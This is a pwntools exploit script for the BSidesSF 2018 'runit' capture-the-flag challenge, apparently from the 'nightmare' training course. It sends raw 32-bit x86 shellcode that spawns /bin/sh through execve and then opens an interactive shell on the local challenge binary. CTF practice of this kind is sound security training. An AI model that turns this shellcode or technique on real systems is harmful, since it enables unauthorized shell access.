# +------------------------------------------------+
# | Atack: Call Input                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *

import sf

target = process("./chall-test_bsidessf18-runit")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x2)
bof_payload.add_bytes(0x0, b"\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80")
bof_payload.set_default_byte(b"\x90")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Stephen King                           |
# +------------------------------------------------+
# | Song: The Gunslinger                           |
# +------------------------------------------------+
# | Go now,                                        |
# | there are other                                |
# | worlds than these                              |
# +------------------------------------------------+

